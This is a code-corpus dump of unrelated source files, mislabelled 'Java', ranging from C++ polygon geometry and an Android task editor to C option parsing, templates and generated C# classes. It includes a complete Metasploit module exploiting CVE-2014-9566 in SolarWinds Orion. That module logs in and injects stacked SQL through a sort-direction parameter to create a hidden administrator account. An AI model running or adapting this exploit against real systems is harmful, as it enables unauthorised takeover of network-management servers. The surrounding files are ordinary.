Matrix mm = bckMatrix();
if (vertex[h-5])
vertex.current()->vector = v * mm;
recalcCenter();
}
void BasePolygon::recalcCenter()
{
// recalculate center
Vector nc;
vertex.head();
do
nc += vertex.current()->vector * Rotate(angle) * FlipY();
while (vertex.next());
nc /= vertex.count();
center += nc;
// update all vertices
vertex.head();
do
vertex.current()->vector -= nc * FlipY() * Rotate(-angle);
while (vertex.next());
}
void BasePolygon::rotate(const Vector& v, int h)
{
if (h < 5)
Marker::rotate(v,h);
else {
// we need to check this here, because we are really rotating
if (canEdit()) {
moveVertex(v,h);
updateBBox();
doCallBack(CallBack::EDITCB);
doCallBack(CallBack::MOVECB); // center can change
}
}
}
void BasePolygon::updateHandles()
{
// generate handles
numHandle = 4 + vertex.count();
if (handle)
delete [] handle;
handle = new Vector[numHandle];
// the first four are our control handles
BBox bb;
vertex.head();
do
bb.bound(vertex.current()->vector);
while (vertex.next());
Vector zz = parent->zoom();
float r = 10/zz.length();
bb.expand(r); // give us more room
handle[0] = fwdMap(bb.ll,Coord::CANVAS);
handle[1] = fwdMap(bb.lr(),Coord::CANVAS);
handle[2] = fwdMap(bb.ur,Coord::CANVAS);
handle[3] = fwdMap(bb.ul(),Coord::CANVAS);
// and the rest are vertices
int i=4;
vertex.head();
do
handle[i++] = fwdMap(vertex.current()->vector,Coord::CANVAS);
while (vertex.next());
}
void BasePolygon::updateCoords(const Matrix& mx)
{
Scale s(mx);
vertex.head();
do
vertex.current()->vector *= s;
while (vertex.next());
Marker::updateCoords(mx);
}
void BasePolygon::listBase(FitsImage* ptr, ostream& str,
Coord::CoordSystem sys, Coord::SkyFrame sky,
Coord::SkyFormat format)
{
Matrix mm = fwdMatrix();
str << type_ << '(';
int first=1;
vertex.head();
do {
if (!first)
str << ',';
first=0;
ptr->listFromRef(str,vertex.current()->vector*mm,sys,sky,format);
} while (vertex.next());
str << ')';
}
| Java |
package pg.autyzm.friendly_plans.manager_app.view.task_create;
import android.app.FragmentTransaction;
import android.content.Intent;
import android.databinding.DataBindingUtil;
import android.os.Bundle;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ImageView;
import android.widget.RadioButton;
import android.widget.RadioGroup;
import android.widget.TextView;
import database.repository.StepTemplateRepository;
import javax.inject.Inject;
import database.entities.Asset;
import database.entities.TaskTemplate;
import database.repository.TaskTemplateRepository;
import pg.autyzm.friendly_plans.ActivityProperties;
import pg.autyzm.friendly_plans.App;
import pg.autyzm.friendly_plans.AppComponent;
import pg.autyzm.friendly_plans.R;
import pg.autyzm.friendly_plans.asset.AssetType;
import pg.autyzm.friendly_plans.databinding.FragmentTaskCreateBinding;
import pg.autyzm.friendly_plans.manager_app.validation.TaskValidation;
import pg.autyzm.friendly_plans.manager_app.validation.Utils;
import pg.autyzm.friendly_plans.manager_app.validation.ValidationResult;
import pg.autyzm.friendly_plans.manager_app.view.components.SoundComponent;
import pg.autyzm.friendly_plans.manager_app.view.main_screen.MainActivity;
import pg.autyzm.friendly_plans.manager_app.view.step_list.StepListFragment;
import pg.autyzm.friendly_plans.manager_app.view.task_type_enum.TaskType;
import pg.autyzm.friendly_plans.manager_app.view.view_fragment.CreateFragment;
public class TaskCreateFragment extends CreateFragment implements TaskCreateActivityEvents {
private static final String REGEX_TRIM_NAME = "_([\\d]*)(?=\\.)";
@Inject
TaskValidation taskValidation;
@Inject
TaskTemplateRepository taskTemplateRepository;
@Inject
StepTemplateRepository stepTemplateRepository;
private TextView labelTaskName;
private EditText taskName;
private EditText taskDurationTime;
private Long taskId;
private Integer typeId;
private Button steps;
private RadioGroup types;
private TaskType taskType = TaskType.TASK;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
FragmentTaskCreateBinding binding = DataBindingUtil.inflate(
inflater, R.layout.fragment_task_create, container, false);
binding.setEvents(this);
View view = binding.getRoot();
ImageButton playSoundIcon = (ImageButton) view.findViewById(R.id.id_btn_play_sound);
AppComponent appComponent = ((App) getActivity().getApplication()).getAppComponent();
soundComponent = SoundComponent.getSoundComponent(
soundId, playSoundIcon, getActivity().getApplicationContext(), appComponent);
appComponent.inject(this);
binding.setSoundComponent(soundComponent);
return view;
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
registerViews(view);
view.post(new Runnable() { // Set assets only when the layout is completely built
@Override
public void run() {
Bundle arguments = getArguments();
if (arguments != null) {
Long taskId = (Long) arguments.get(ActivityProperties.TASK_ID);
if (taskId != null) {
initTaskForm(taskId);
}
}
}
});
}
private void registerViews(View view) {
labelTaskName = (TextView) view.findViewById(R.id.id_tv_task_name_label);
Utils.markFieldMandatory(labelTaskName);
taskName = (EditText) view.findViewById(R.id.id_et_task_name);
pictureFileName = (EditText) view.findViewById(R.id.id_et_task_picture);
soundFileName = (EditText) view.findViewById(R.id.id_et_task_sound);
taskDurationTime = (EditText) view.findViewById(R.id.id_et_task_duration_time);
picturePreview = (ImageView) view.findViewById(R.id.iv_picture_preview);
clearSound = (ImageButton) view.findViewById(R.id.id_ib_clear_sound_btn);
clearPicture = (ImageButton) view.findViewById(R.id.id_ib_clear_img_btn);
steps = (Button) view.findViewById(R.id.id_btn_steps);
types = (RadioGroup) view.findViewById(R.id.id_rg_types);
RadioButton typeTask = (RadioButton) view.findViewById(R.id.id_rb_type_task);
typeTask.setChecked(true);
taskType = TaskType.TASK;
}
private Long saveOrUpdate() {
soundComponent.stopActions();
try {
if (taskId != null) {
if (validateName(taskId, taskName) && validateDuration(taskDurationTime)) {
typeId = taskType.getId();
Integer duration = getDuration();
clearSteps(typeId, taskId);
taskTemplateRepository.update(taskId,
taskName.getText().toString(),
duration,
pictureId,
soundId,
typeId);
showToastMessage(R.string.task_saved_message);
return taskId;
}
} else {
if (validateName(taskName) && validateDuration(taskDurationTime)) {
Integer duration = getDuration();
typeId = taskType.getId();
long taskId = taskTemplateRepository.create(taskName.getText().toString(),
duration,
pictureId,
soundId,
typeId);
showToastMessage(R.string.task_saved_message);
return taskId;
}
}
} catch (RuntimeException exception) {
Log.e("Task Create View", "Error saving task", exception);
showToastMessage(R.string.save_task_error_message);
}
return null;
}
private void clearSteps(Integer typeId, Long taskId) {
if (typeId != 1) {
stepTemplateRepository.deleteAllStepsForTask(taskId);
}
}
private boolean validateName(Long taskId, EditText taskName) {
ValidationResult validationResult = taskValidation
.isUpdateNameValid(taskId, taskName.getText().toString());
return handleInvalidResult(taskName, validationResult);
}
private boolean validateName(EditText taskName) {
ValidationResult validationResult = taskValidation
.isNewNameValid(taskName.getText().toString());
return handleInvalidResult(taskName, validationResult);
}
private boolean validateDuration(EditText duration) {
ValidationResult validationResult = taskValidation
.isDurationValid(duration.getText().toString());
return handleInvalidResult(duration, validationResult);
}
private void initTaskForm(long taskId) {
this.taskId = taskId;
TaskTemplate task = taskTemplateRepository.get(taskId);
taskName.setText(task.getName());
if (task.getDurationTime() != null) {
taskDurationTime.setText(String.valueOf(task.getDurationTime()));
}
Asset picture = task.getPicture();
Asset sound = task.getSound();
if (picture != null) {
setAssetValue(AssetType.PICTURE, picture.getFilename(), picture.getId());
}
if (sound != null) {
setAssetValue(AssetType.SOUND, sound.getFilename(), sound.getId());
}
typeId = task.getTypeId();
((RadioButton) types.getChildAt(typeId - 1)).setChecked(true);
setVisibilityStepButton(Integer.valueOf(task.getTypeId().toString()));
}
private void setVisibilityStepButton(int typeIdValue) {
if (typeIdValue == 1) {
steps.setVisibility(View.VISIBLE);
} else {
steps.setVisibility(View.INVISIBLE);
}
}
private void showStepsList(final long taskId) {
StepListFragment fragment = new StepListFragment();
Bundle args = new Bundle();
args.putLong(ActivityProperties.TASK_ID, taskId);
fragment.setArguments(args);
FragmentTransaction transaction = getFragmentManager()
.beginTransaction();
transaction.replace(R.id.task_container, fragment);
transaction.addToBackStack(null);
transaction.commit();
}
private void showMainMenu() {
Intent intent = new Intent(getActivity(), MainActivity.class);
startActivity(intent);
}
@Override
protected void setAssetValue(AssetType assetType, String assetName, Long assetId) {
String assetNameTrimmed = assetName.replaceAll(REGEX_TRIM_NAME, "");
if (assetType.equals(AssetType.PICTURE)) {
pictureFileName.setText(assetNameTrimmed);
clearPicture.setVisibility(View.VISIBLE);
pictureId = assetId;
showPreview(pictureId, picturePreview);
} else {
soundFileName.setText(assetNameTrimmed);
clearSound.setVisibility(View.VISIBLE);
soundId = assetId;
soundComponent.setSoundId(soundId);
}
}
private Integer getDuration() {
if (!taskDurationTime.getText().toString().isEmpty() &&
!taskDurationTime.getText().toString().equals("0")) {
return Integer.valueOf(taskDurationTime.getText().toString());
}
return null;
}
@Override
public void eventListStep(View view) {
taskId = saveOrUpdate();
if (taskId != null) {
showStepsList(taskId);
}
}
@Override
public void eventSelectPicture(View view) {
filePickerProxy.openFilePicker(TaskCreateFragment.this, AssetType.PICTURE);
}
@Override
public void eventSelectSound(View view) {
filePickerProxy.openFilePicker(TaskCreateFragment.this, AssetType.SOUND);
}
@Override
public void eventClearPicture(View view) {
clearPicture();
}
@Override
public void eventClearSound(View view) {
clearSound();
}
@Override
public void eventClickPreviewPicture(View view) {
showPicture(pictureId);
}
@Override
public void eventChangeButtonStepsVisibility(View view, int id) {
if (id == R.id.id_rb_type_task) {
steps.setVisibility(View.VISIBLE);
taskType = TaskType.TASK;
} else {
steps.setVisibility(View.INVISIBLE);
if (id == R.id.id_rb_type_interaction) {
taskType = TaskType.INTERACTION;
} else {
taskType = TaskType.PRIZE;
}
}
}
@Override
public void eventSaveAndFinish(View view) {
Long taskId = saveOrUpdate();
if (taskId != null) {
showMainMenu();
}
}
}
| Java |
/**
Copyright 2010 Christian Kästner
This file is part of CIDE.
CIDE is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, version 3 of the License.
CIDE is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with CIDE. If not, see <http://www.gnu.org/licenses/>.
See http://www.fosd.de/cide/ for further information.
*/
package de.ovgu.cide.export.virtual.internal;
import java.util.Set;
import org.eclipse.jdt.core.dom.CompilationUnit;
import de.ovgu.cide.export.CopiedNaiveASTFlattener;
import de.ovgu.cide.export.useroptions.IUserOptionProvider;
import de.ovgu.cide.features.IFeature;
import de.ovgu.cide.features.source.ColoredSourceFile;
/**
* how to print annotations? note: we assume ifdef semantics, i.e. annotations
* may be nested, but always close in the reverse order
*
*
* @author ckaestne
*
*/
public interface IPPExportOptions extends IUserOptionProvider {
/**
* should the start and end instructions be printed in a new line? (i.e.
* should a line break be enforced before?)
*
* the instruction is responsible for the linebreak at the end itself
*
* @return
*/
boolean inNewLine();
/**
* get the code statement(s) to begin an annotation block
*
* @param f
* set of features annotated for the current element
* @return
*/
String getStartInstruction(Set<IFeature> f);
/**
* get the code statement(s) to end an annotation block
*
* @param f
* set of features annotated for the current element
* @return
*/
String getEndInstruction(Set<IFeature> f);
CopiedNaiveASTFlattener getPrettyPrinter(ColoredSourceFile sourceFile);
/**
* allows the developer to change the AST before printing it. can be used
* for some refactorings. returns the modified AST
*
* @param root
* @param sourceFile
* @return
*/
CompilationUnit refactorAST(CompilationUnit root, ColoredSourceFile sourceFile);
}
| Java |
/**
* \file stack.c
*
* Time-stamp: "2012-03-31 13:16:41 bkorb"
*
* This is a special option processing routine that will save the
* argument to an option in a FIFO queue.
*
* This file is part of AutoOpts, a companion to AutoGen.
* AutoOpts is free software.
* AutoOpts is Copyright (c) 1992-2012 by Bruce Korb - all rights reserved
*
* AutoOpts is available under any one of two licenses. The license
* in use must be one of these two and the choice is under the control
* of the user of the license.
*
* The GNU Lesser General Public License, version 3 or later
* See the files "COPYING.lgplv3" and "COPYING.gplv3"
*
* The Modified Berkeley Software Distribution License
* See the file "COPYING.mbsd"
*
* These files have the following md5sums:
*
* 43b91e8ca915626ed3818ffb1b71248b pkg/libopts/COPYING.gplv3
* 06a1a2e4760c90ea5e1dad8dfaac4d39 pkg/libopts/COPYING.lgplv3
* 66a5cedaf62c4b2637025f049f9b826f pkg/libopts/COPYING.mbsd
*/
#ifdef WITH_LIBREGEX
# include REGEX_HEADER
#endif
/*=export_func optionUnstackArg
* private:
*
* what: Remove option args from a stack
* arg: + tOptions* + pOpts + program options descriptor +
* arg: + tOptDesc* + pOptDesc + the descriptor for this arg +
*
* doc:
* Invoked for options that are equivalenced to stacked options.
=*/
void
optionUnstackArg(tOptions * pOpts, tOptDesc * pOptDesc)
{
tArgList * pAL;
(void)pOpts;
if ((pOptDesc->fOptState & OPTST_RESET) != 0)
return;
pAL = (tArgList*)pOptDesc->optCookie;
/*
* IF we don't have any stacked options,
* THEN indicate that we don't have any of these options
*/
if (pAL == NULL) {
pOptDesc->fOptState &= OPTST_PERSISTENT_MASK;
if ((pOptDesc->fOptState & OPTST_INITENABLED) == 0)
pOptDesc->fOptState |= OPTST_DISABLED;
return;
}
#ifdef WITH_LIBREGEX
{
regex_t re;
int i, ct, dIdx;
if (regcomp(&re, pOptDesc->optArg.argString, REG_NOSUB) != 0)
return;
/*
* search the list for the entry(s) to remove. Entries that
* are removed are *not* copied into the result. The source
* index is incremented every time. The destination only when
* we are keeping a define.
*/
for (i = 0, dIdx = 0, ct = pAL->useCt; --ct >= 0; i++) {
char const * pzSrc = pAL->apzArgs[ i ];
char * pzEq = strchr(pzSrc, '=');
int res;
if (pzEq != NULL)
*pzEq = NUL;
res = regexec(&re, pzSrc, (size_t)0, NULL, 0);
switch (res) {
case 0:
/*
* Remove this entry by reducing the in-use count
* and *not* putting the string pointer back into
* the list.
*/
AGFREE(pzSrc);
pAL->useCt--;
break;
default:
case REG_NOMATCH:
if (pzEq != NULL)
*pzEq = '=';
/*
* IF we have dropped an entry
* THEN we have to move the current one.
*/
if (dIdx != i)
pAL->apzArgs[ dIdx ] = pzSrc;
dIdx++;
}
}
regfree(&re);
}
#else /* not WITH_LIBREGEX */
{
int i, ct, dIdx;
/*
* search the list for the entry(s) to remove. Entries that
* are removed are *not* copied into the result. The source
* index is incremented every time. The destination only when
* we are keeping a define.
*/
for (i = 0, dIdx = 0, ct = pAL->useCt; --ct >= 0; i++) {
tCC* pzSrc = pAL->apzArgs[ i ];
char* pzEq = strchr(pzSrc, '=');
if (pzEq != NULL)
*pzEq = NUL;
if (strcmp(pzSrc, pOptDesc->optArg.argString) == 0) {
/*
* Remove this entry by reducing the in-use count
* and *not* putting the string pointer back into
* the list.
*/
AGFREE(pzSrc);
pAL->useCt--;
} else {
if (pzEq != NULL)
*pzEq = '=';
/*
* IF we have dropped an entry
* THEN we have to move the current one.
*/
if (dIdx != i)
pAL->apzArgs[ dIdx ] = pzSrc;
dIdx++;
}
}
}
#endif /* WITH_LIBREGEX */
/*
* IF we have unstacked everything,
* THEN indicate that we don't have any of these options
*/
if (pAL->useCt == 0) {
pOptDesc->fOptState &= OPTST_PERSISTENT_MASK;
if ((pOptDesc->fOptState & OPTST_INITENABLED) == 0)
pOptDesc->fOptState |= OPTST_DISABLED;
AGFREE((void*)pAL);
pOptDesc->optCookie = NULL;
}
}
/*
* Put an entry into an argument list. The first argument points to
* a pointer to the argument list structure. It gets passed around
* as an opaque address.
*/
LOCAL void
addArgListEntry(void** ppAL, void* entry)
{
tArgList* pAL = *(void**)ppAL;
/*
* IF we have never allocated one of these,
* THEN allocate one now
*/
if (pAL == NULL) {
pAL = (tArgList*)AGALOC(sizeof(*pAL), "new option arg stack");
if (pAL == NULL)
return;
pAL->useCt = 0;
pAL->allocCt = MIN_ARG_ALLOC_CT;
*ppAL = (void*)pAL;
}
/*
* ELSE if we are out of room
* THEN make it bigger
*/
else if (pAL->useCt >= pAL->allocCt) {
size_t sz = sizeof(*pAL);
pAL->allocCt += INCR_ARG_ALLOC_CT;
/*
* The base structure contains space for MIN_ARG_ALLOC_CT
* pointers. We subtract it off to find our augment size.
*/
sz += sizeof(char*) * (pAL->allocCt - MIN_ARG_ALLOC_CT);
pAL = (tArgList*)AGREALOC((void*)pAL, sz, "expanded opt arg stack");
if (pAL == NULL)
return;
*ppAL = (void*)pAL;
}
/*
* Insert the new argument into the list
*/
pAL->apzArgs[ (pAL->useCt)++ ] = entry;
}
/*=export_func optionStackArg
* private:
*
* what: put option args on a stack
* arg: + tOptions* + pOpts + program options descriptor +
* arg: + tOptDesc* + pOptDesc + the descriptor for this arg +
*
* doc:
* Keep an entry-ordered list of option arguments.
=*/
void
optionStackArg(tOptions * pOpts, tOptDesc * pOD)
{
char * pz;
(void)pOpts;
if ((pOD->fOptState & OPTST_RESET) != 0) {
tArgList* pAL = (void*)pOD->optCookie;
int ix;
if (pAL == NULL)
return;
ix = pAL->useCt;
while (--ix >= 0)
AGFREE(pAL->apzArgs[ix]);
AGFREE(pAL);
} else {
if (pOD->optArg.argString == NULL)
return;
AGDUPSTR(pz, pOD->optArg.argString, "stack arg");
addArgListEntry(&(pOD->optCookie), (void*)pz);
}
}
/*
* Local Variables:
* mode: C
* c-file-style: "stroustrup"
* indent-tabs-mode: nil
* End:
* end of autoopts/stack.c */
| Java |
<ion-header-bar align-title="left" class="bar-positive">
<div class="buttons">
<button class="button button-clear icon ion-chevron-left" ng-click="back('menu');"></button>
</div>
<h1 class="title">Guimo</h1>
</ion-header-bar>
<ion-pane>
<ion-content>
<div class="row">
<div class="col">
<a class="button button-energized button-full" ng-click="changeValue('food')">Resetar Comida</a>
<a class="button button-assertive button-full"ng-click="changeValue('health')">Resetar Saúde</a>
<a class="button button-calm button-full" ng-click="changeValue('fome')">Fome</a>
<a class="button button-balanced button-full" ng-click="changeValue('sick')">Doente</a>
<a class="button button-positive button-full" ng-show="connected" ng-click="changeValue('screen')">Tela Padrão</a>
</div>
</div>
</ion-content>
</ion-pane> | Java |
/*
* Copyright (c) 2010 Apple Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
#ifndef _SYS_CONTENT_PROTECTION_H_
#define _SYS_CONTENT_PROTECTION_H_
#ifdef PRIVATE
/*
* Protection classes vary in their restrictions on read/writability. A is generally
* the strictest, and D is effectively no restriction.
*/
/*
* dir_none forces new items created in the directory to pick up the mount point default
* protection level. it is only allowed for directories.
*/
#define PROTECTION_CLASS_DIR_NONE 0
#define PROTECTION_CLASS_A 1
#define PROTECTION_CLASS_B 2
#define PROTECTION_CLASS_C 3
#define PROTECTION_CLASS_D 4
#define PROTECTION_CLASS_E 5
#define PROTECTION_CLASS_F 6
/*
* This forces open_dprotected_np to behave as though the file were created with
* the traditional open(2) semantics.
*/
#define PROTECTION_CLASS_DEFAULT (-1)
#endif /* PRIVATE */
#endif /* _SYS_CONTENT_PROTECTION_H_ */
| Java |
class HomeController < ApplicationController
def index
@movies = Movie.all.sort_by{|movie| movie.rank}.reverse.first(7)
@books = Book.all.sort_by{|book| book.rank}.reverse.first(7)
@albums = Album.all.sort_by{|album| album.rank}.reverse.first(7)
end
end
| Java |
{% load application_view_menu %}
<div id="application-view-header">
<h1>report: <a href="/report/#report/{{ report.pk }}/details/">{{ report.name }}</a></h1>
</div>
{% application_view_menu object report.pk %}
<div class="application-view-content clearfix">
<div class="text-bullet">
<span class="name">link:</span>
<span class="value">
<a href="/report/external/{{ report.bound_link }}" target="_blank">
{% if request.is_secure %}https:{% else %}http:{% endif %}//{{ request.get_host }}/report/external/{{ report.bound_link }}
</a>
</span>
</div>
<div class="text-bullet">
<span class="name">public:</span>
<span class="value">{{ report.public|yesno }}</span>
</div>
</div>
<div class="application-view-content clearfix">
{{ report.content }}
</div>
| Java |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
public partial class CMSWebParts_CustomTables_CustomTableForm {
/// <summary>
/// pnlUIContext control.
/// </summary>
/// <remarks>
/// Auto-generated field.
/// To modify move field declaration from designer file to code-behind file.
/// </remarks>
protected global::CMS.ExtendedControls.UIContextPanel pnlUIContext;
/// <summary>
/// form control.
/// </summary>
/// <remarks>
/// Auto-generated field.
/// To modify move field declaration from designer file to code-behind file.
/// </remarks>
protected global::CMS.FormControls.CustomTableForm form;
}
| Java |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation',
'Description' => %q{
This module exploits a stacked SQL injection in order to add an administrator user to the
SolarWinds Orion database.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry' #discovery/metasploit module
],
'References' =>
[
['CVE', '2014-9566']
],
'DisclosureDate' => 'Feb 24 2015'
))
register_options(
[
Opt::RPORT(8787),
OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
], self.class)
end
def login (username,password)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx')
})
viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/
cookie = res.get_cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'),
'method' => 'POST',
'vars_post' => {
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__VIEWSTATE' => viewstate,
'ctl00$BodyContent$Username' => username,
'ctl00$BodyContent$Password' => password
},
'cookie' => cookie
})
if res.nil?
fail_with(Failure::UnexpectedReply, "Server didn't respond in an expected way")
end
if res.code == 200
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
end
return cookie + ';' + res.get_cookies
end
def run
cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
username = Rex::Text.rand_text_alpha(8)
print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'),
'method' => 'POST',
'vars_get' => {
'sort' => 'Accounts.AccountID', #also vulnerable
'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');"
},
'data' => '{"accountId":""}',
'cookie' => cookie,
'ctype' => 'application/json'
})
login(username, '')
print_good("The injection worked, log in with #{username} and a blank password")
end
end
| Java |
#!/usr/bin/env bash
set -e
if [ ${TARGET} = "win64" ]; then
EXTENSION=zip
else
if [ ${TRAVIS_OS_NAME} = "linux" ]; then
EXTENSION=tar.gz
else
EXTENSION=dmg
fi
fi
curl -T OpenPSTD-${OPENPSTD_MAJOR_VERSION}.${OPENPSTD_MINOR_VERSION}.${TRAVIS_BUILD_NUMBER}-${TARGET}.${EXTENSION} ${WEBDAV}
| Java |
/**
******************************************************************************
* @file LibJPEG/LibJPEG_Encoding/Src/encode.c
* @author MCD Application Team
* @version V1.1.0
* @date 17-February-2017
* @brief This file contain the compress method.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2017 STMicroelectronics International N.V.
* All rights reserved.</center></h2>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted, provided that the following conditions are met:
*
* 1. Redistribution of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of other
* contributors to this software may be used to endorse or promote products
* derived from this software without specific written permission.
* 4. This software, including modifications and/or derivative works of this
* software, must execute solely and exclusively on microcontroller or
* microprocessor devices manufactured by or for STMicroelectronics.
* 5. Redistribution and use of this software other than as permitted under
* this license is void and will automatically terminate your rights under
* this license.
*
* THIS SOFTWARE IS PROVIDED BY STMICROELECTRONICS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS, IMPLIED OR STATUTORY WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NON-INFRINGEMENT OF THIRD PARTY INTELLECTUAL PROPERTY
* RIGHTS ARE DISCLAIMED TO THE FULLEST EXTENT PERMITTED BY LAW. IN NO EVENT
* SHALL STMICROELECTRONICS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "encode.h"
/* Private typedef -----------------------------------------------------------*/
/* This struct contains the JPEG compression parameters */
static struct jpeg_compress_struct cinfo;
/* This struct represents a JPEG error handler */
static struct jpeg_error_mgr jerr;
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
extern RGB_typedef *RGB_matrix;
/**
* @brief Jpeg Encode
* @param file: pointer to the bmp file
* @param file1: pointer to the jpg file
* @param width: image width
* @param height: image height
* @param image_quality: image quality
* @param buff: pointer to the image line
* @retval None
*/
void jpeg_encode(JFILE *file, JFILE *file1, uint32_t width, uint32_t height, uint32_t image_quality, uint8_t * buff)
{
/* Encode BMP Image to JPEG */
JSAMPROW row_pointer; /* Pointer to a single row */
uint32_t bytesread;
/* Step 1: allocate and initialize JPEG compression object */
/* Set up the error handler */
cinfo.err = jpeg_std_error(&jerr);
/* Initialize the JPEG compression object */
jpeg_create_compress(&cinfo);
/* Step 2: specify data destination */
jpeg_stdio_dest(&cinfo, file1);
/* Step 3: set parameters for compression */
cinfo.image_width = width;
cinfo.image_height = height;
cinfo.input_components = 3;
cinfo.in_color_space = JCS_RGB;
/* Set default compression parameters */
jpeg_set_defaults(&cinfo);
cinfo.dct_method = JDCT_FLOAT;
jpeg_set_quality(&cinfo, image_quality, TRUE);
/* Step 4: start compressor */
jpeg_start_compress(&cinfo, TRUE);
/* Bypass the header bmp file */
f_read(file, buff, 54, (UINT*)&bytesread);
while (cinfo.next_scanline < cinfo.image_height)
{
/* In this application, the input file is a BMP, which first encodes the bottom of the picture */
/* JPEG encodes the highest part of the picture first. We need to read the lines upside down */
/* Move the read pointer to 'last line of the picture - next_scanline' */
f_lseek(file, ((cinfo.image_height-1-cinfo.next_scanline)*width*3)+54);
if(f_read(file, buff, width*3, (UINT*)&bytesread) == FR_OK)
{
row_pointer = (JSAMPROW)buff;
jpeg_write_scanlines(&cinfo, &row_pointer, 1);
}
}
/* Step 5: finish compression */
jpeg_finish_compress(&cinfo);
/* Step 6: release JPEG compression object */
jpeg_destroy_compress(&cinfo);
}
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| Java |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated from a template.
//
// Manual changes to this file may cause unexpected behavior in your application.
// Manual changes to this file will be overwritten if the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace FoodInventory.Data.Models
{
using System;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
public partial class FoodInventoryEntities : DbContext
{
public FoodInventoryEntities()
: base("name=FoodInventoryEntities")
{
}
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
throw new UnintentionalCodeFirstException();
}
public virtual DbSet<Product> Products { get; set; }
}
}
| Java |
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vhudson-jaxb-ri-2.1-2
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
